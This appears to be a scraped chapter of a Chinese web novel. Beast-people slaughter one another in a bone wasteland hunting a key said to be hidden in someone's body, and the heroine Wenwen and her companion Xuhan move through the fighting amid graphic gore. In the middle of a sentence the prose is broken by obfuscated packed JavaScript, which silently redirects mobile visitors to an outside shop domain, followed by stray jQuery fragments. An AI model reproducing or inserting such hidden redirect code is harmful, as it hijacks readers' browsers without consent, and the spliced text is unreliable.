【本关任务:在枯骨中寻找通往上一层的钥匙。】
只是寻找钥匙这么简单吗?
文文望向骸骨延伸的尽头。
荒原最远处,隐约矗立着一座由白骨堆砌而成的高大神坛。
厮杀永远不会停止。
而视线里栗霜痕缓步向前行走,每一步落下,都会碾碎底下细碎的骨片,发出持续不断的咯吱声响。
只要神坛还在运转,试炼一轮又一轮重复,骸骨便会无休止增加。
真的有钥匙吗?
真的会有钥匙吗?
兽人狂热的目光一寸寸舔过那方神坛,幼雏贪食般前扑后继拉长脖子,自愿伸出并不能够飞翔的翅膀奔向那座屠宰场。
【钥匙投放入了某位兽人的身体里,投放部位可能是手腕,耳朵,额头,还有……心脏……】
【每隔一小时缩小一次钥匙范围。】
“混蛋!”文文忍不住骂道。
这不是引导兽人自相残杀吗?
甚至这条消息可能都是假的……
雌性在这样的决斗场中天然是弱势,一群狂热到只有神墟的邪教者,第一个针对的便是——
噗呲——
猩红的液体溅入了她的眼睛,她迟钝地眨了眨眼,红色便沾染了整个视线。
热的。
瞳孔骤然收缩。
独自流下了血泪。
一切动作被无限拉长放缓。
只剩下一副皮肉的破布娃娃砸向了她,她来不及躲,眼睁睁看着破布娃娃空荡荡的身体里氤氲出血雾,落在空气中,一点点浸染她的衣服布料,弄得衣服黏黏地贴在身上。
灵魂呢?
序含的灵魂呢?
序含死了吗?
真的死了吗?
她要把序含的灵魂吞进肚子里。
雌母告诉过她,乌鸦可以看见人的灵魂。
“呸!一个普通的雌性!我还以为她有什么能力,原来连兽体都没有!不怕死地挡在前面,原来本来就想寻死!”
“她身上没有钥匙,我们先走吧。”
那两个雄性体魄魁梧,利爪泛着冷光。
雷电劈落,一道亮白色的光几乎要把那两个冷嘲热讽的雄性劈成两半,接着,又一道无声的雷电悬在了他们的头顶。
仿佛,他们只要一动,便会被雷电轰成齑粉。
雄性相比雌性,在试炼场天生具有优势。
在这个炼狱内,没有尊卑,也没有秩序,雌性是任人宰割的鱼肉,在砧板上瑟瑟发抖。
没有地方可以接纳她们。
联邦和帝国不需要毫无精神力的雌性,荒星也无法接纳她们。
荒星上的雄性除了毫无精神力的可能,还有可能是因为精神力陷入狂躁,无法被安抚。
而这里的雌性无法为他们提供安抚。
他们狂暴易怒,迁怒于人,他们的死亡,往往会带走周围雌性的生命。
而雌性的逝去,只不过一件最寻常的事情。
之前的世界就是如此。
只论强弱。
文文微微仰头,下颌绷紧,闪身,尖利的齿尖抵上了第一个开口的雄性臂膀。
撕扯。
整体手臂滑进了她的喉咙,听着那人扯着嗓子喊痛,她扯唇,慢条斯理地抹了一把脸,“手臂里没有钥匙。”
随即,她后退,瞳仁里划过一抹真实的疑惑,似乎真的很苦恼钥匙在哪里,“那额头,耳朵,心脏呢?”
漫天细碎骨尘悬浮在半空中,迟迟不落。
空气干燥,裹着腐朽的冷腥。
文文立在层层叠叠的白骨之间。
隔着尘土,豹兽瞳孔骤然放大,死死低头看着自己空荡荡的臂膀,惊恐万分。
还没等其他兽人做出反应——
“噗呲——”
闷响缓慢炸开。
一只骨节修长、肤色冷白的手,剥开了面前那堵胸膛。
五指收拢。
一颗温热鲜红还在缓慢搏动的心脏,被毫不迟疑地掏了出来。
血液顺着胸腔处巨大的创口,一缕一缕往下淌,粘稠地滴落在白骨堆上,染红层层枯骨,倒像是一层又一层的玫瑰花瓣,风吹散一层,又卷起一层。
兽人庞大的身躯,沉沉倒伏。
轰然一声轻震,雄性兽人彻底倒地,砸起漫天细碎血雾与骨尘。
尸体倒下的瞬间,遮挡全然褪去。
他身后那个人,终于完完整整暴露在天光之下。
身形挺拔修长,肩线冷峭,腰身极窄,一身黑衣覆着薄淡的暗光,五官精致冷艳,眼尾微压,瞳色是纯粹的墨黑,压着冷峻的雪意。
鲜红温热的血肉,衬得她肤色愈发瓷白清冷。
“不要乱吃东西。”
序……序含……
万骨荒原中央,满天骨尘在她身后缓缓流转,可黑衣却不染分毫浊色。
文文仰望着她。
她就知道序含不会死。
这家伙最擅长装死了。
视线却一点点失焦虚化,所有浓烈刺眼的血腥画面,如同被潮水漫过的旧照片,随着潮起潮落渐渐层层淡化。
“滴答——”
是血液滴落的声音吗?
似乎……那是第一次见到序含的场景。
序含修长的身躯半跪在断裂的金属残骸里,黑衣尽数被撕裂,露出血红的内衬,布料被高温灼烧出残破焦边。
而身上深可见骨的创口翻裂着皮肉,干涸的黑红血痂覆满手臂,新鲜的温热血液还在不断顺着腕骨和指节滴落。
一滴又一滴,砸在荒芜死寂的废墟地面。
滴答。
滴答。
滴答。
冷白的皮肉在浓血的映衬下,透明得近乎脆弱。
她眯眼,终于再度看清了那抹沾满血迹的手腕上那一小片纹身。
一朵玫瑰花样。
玫瑰花样……
文文猛地回神,瞥到了那双攥着心脏的手微微收紧,玫瑰花瓣随着手指的攥紧微微起伏,仿佛会呼吸的活物。
“不要吃不干不净的东西,文文。”
序含轻飘飘地瞟了她一眼。
声音散在空气里,闷在沉闷的兽吼里。
视线最近,一头棕熊兽人猛地冲撞向身旁的飞鸟,锋利爪牙撕裂对方羽翼,温热鲜血飞溅,落在层层枯骨之上。
视线翻转,厮杀席卷四方。
兽人彼此缠斗扭打,利爪划破皮肉,獠牙啃咬血肉。
低沉痛苦的咆哮和疯狂狂热的嘶吼交织在一起。
入目的骨尘被血色气流卷得漫天翻涌,新旧血液交融,顺着层层白骨缓缓流淌,在地面汇成蜿蜒的暗红溪流。
不少兽人眼里没有仇恨,只有一种虔诚的狂热。
寻找钥匙。
一定要找到钥匙。
文文似乎被他们的狂热扎得眼睛痛,偏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824909|209264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头,也没回应序含的话。
只是需要厮杀吗?
无休止地杀戮,然后得到钥匙吗?
如果不厮杀别人,被厮杀的就是自己吗?
钥匙真的在兽人体内吗?
真的有第二层吗?
真的能从这里出去吗?
“你能吐出什么?”序含又问。
文文收回视线,偏头朝序含wink,“那么脏的血,我吃了之后,说不定能吐出更漂亮的东西。”
“比如——”
她的话还没说完,她的肩膀忽然微微抖了一下,身形骤然一软,喉间发甜,整个人微微佝偻下去。
一片又一片——
绯红的玫瑰花瓣,从她苍白微凉的唇间吐出。
无风自落。
一瓣率先坠下,缓缓落在序含裸露的手腕上。
柔软花瓣贴合玫瑰图案的刹那,淡红微光悄然漫开。
原来是玫瑰花瓣啊。
花瓣在半空挣脱开,顺着微凉的风,悠悠飘向下方无边无际的骸骨荒原。
娇嫩的绯红,落在惨白干裂的兽骨之上,形成触目惊心的对比。
果然……没有让人失望啊。
很漂亮的东西。
吞下的东西越肮脏,吐出的东西越漂亮。
沾染血气的玫瑰花瓣静静铺散在冰冷的枯骨缝隙,原本充斥腐朽和杀戮气息的土地,悄然漫开清冽冷香,冲淡漫天浓重的血腥气味。
文文身形又晃了晃,但仍有源源不断的花瓣顺着她泛白的唇瓣涌出,纷飞散落,像是一场短暂又盛大的花雨。
还疯狂厮杀的兽人,有人无意间瞥见这一幕,厮杀的动作不自觉迟缓下来,浑浊狂热的眼底掠过茫然。
遍地鲜血与枯骨之上,漫天玫瑰缓缓沉降。
污秽炼狱,忽而花开。
序含上前一步,及时伸手稳稳扶住摇摇欲坠的文文,“你不能吐点有用的吗?”
如果不是文文现在的喉咙被玫瑰花瓣堵住,她绝对也要咬序含一口,试试序含的胳膊能变出什么珍贵东西。
她半倚在她怀中,眼帘半阖,勉力扯出一抹笑。
你给我等着,序含。
序含没等到文文口中的报复,反而等到了冷漠的消息播报。
【监测到死亡人数过半,钥匙范围提前锁定。持有者——排除鸟类。】
但没有用了。
已经没有多少用了。
杀红了眼,不杀别人就等于选择被杀。
圈定范围已经没有作用了。
提示音还在机械重复,一遍又一遍锁定钥匙范围,一遍又一遍播报淘汰数据。
【剩余存活人数27%,钥匙范围锁定——排除雌性。】
【剩余存活人数20%,钥匙持有者锁定中——排除爬行兽类。】
【剩余存活人数15%,钥匙持有者锁定中——排除精神力D级者。】
红色的系统弹窗随着厮杀的白热化层层炸开,刺眼的红光映红满地白骨与鲜血。
无数兽人在混乱中轰然倒地。
但钥匙还是没有出现。
钥匙到底在哪里?
钥匙到底在哪里?
钥匙呢?
怎么会没有钥匙?怎么会没有钥匙?!
序含冷眼看着这一切,开口:
“有没有一种可能,钥匙其实并不在这里。”
“而在——投放者的嘴巴里。”